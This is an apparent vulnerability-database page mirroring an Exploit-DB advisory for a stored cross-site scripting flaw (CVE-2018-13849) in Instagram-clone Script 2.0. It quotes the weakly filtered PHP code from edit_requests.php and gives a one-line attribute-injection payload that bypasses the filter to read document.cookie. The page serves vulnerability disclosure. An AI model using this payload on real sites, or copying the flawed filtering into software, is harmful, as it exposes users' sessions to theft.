Lucene search
K

Instagram-Clone Script 2.0 - Cross-Site Scripting

🗓️ 11 Jul 2018 00:00:00Reported by L0RDType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 68 Views

Instagram-Clone 2.0 Cross-Site Scripting vulnerability in edit_requests.ph

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Instagram-Clone Script 2.0 - Cross-Site Scripting Vulnerability
11 Jul 201800:00
zdt
CNVD
Instagram-Clone Script Cross-Site Scripting Vulnerability
19 Jul 201800:00
cnvd
CVE
CVE-2018-13849
10 Jul 201818:00
cve
Cvelist
CVE-2018-13849
10 Jul 201818:00
cvelist
EUVD
EUVD-2018-5785
7 Oct 202500:30
euvd
exploitpack
Instagram-Clone Script 2.0 - Cross-Site Scripting
11 Jul 201800:00
exploitpack
NVD
CVE-2018-13849
10 Jul 201818:29
nvd
OSV
CVE-2018-13849
10 Jul 201818:29
osv
Packet Storm
Instagram Clone Script 2.0 Cross Site Scripting
11 Jul 201800:00
packetstorm
Prion
Design/Logic Flaw
10 Jul 201818:29
prion
Rows per page
# Exploit Title: Instagram-clone Script 2.0 - Cross-Site Scripting
# Date: 2018-07-10
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/yTakkar/Instagram-clone
# Version: 2.0
# CVE: CVE-2018-13849
# Tested on: Kali linux

# POC : Persistent Cross site scripting :
# vulnerable file : edit_requests.php
# vulnerable code :

if (isset($_POST['username'])) {
      $username = preg_replace("#[<> ]#i", "", $_POST['username']);
      $firstname = preg_replace("#[<> ]#i", "", $_POST['firstname']);
      $surname = preg_replace("#[<> ]#i", "", $_POST['surname']);
      $bio = preg_replace("#[<>]#i", "", $_POST['bio']);
      $instagram = preg_replace("#[<>]#i", "", $_POST['instagram']);
      $youtube = preg_replace("#[<>]#i", "", $_POST['youtube']);
      $facebook = preg_replace("#[<>]#i", "", $_POST['facebook']);
      $twitter = preg_replace("#[<>]#i", "", $_POST['twitter']);
      $website = preg_replace("#[<>]#i", "", $_POST['website']);
      $mobile = preg_replace("#[^0-9]#i", "", $_POST['mobile']);
      $tags = preg_replace("#[\s]#", "-", $_POST['tags']);
 $session = $_SESSION['id'];

      $m=$edit->saveProfileEditing($username, $firstname, $surname, $bio,
$instagram, $youtube, $facebook, $twitter, $website, $mobile, $tags);
      $array = array("mssg" => $m);
      echo json_encode($array);
    }

# We use this payload to bypass filter :
# Payload : 

"onmouseover=" alert(document.cookie)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jul 2018 00:00Current
7High risk
Vulners AI Score7
CVSS 24.3
CVSS 36.1
EPSS0.00296
68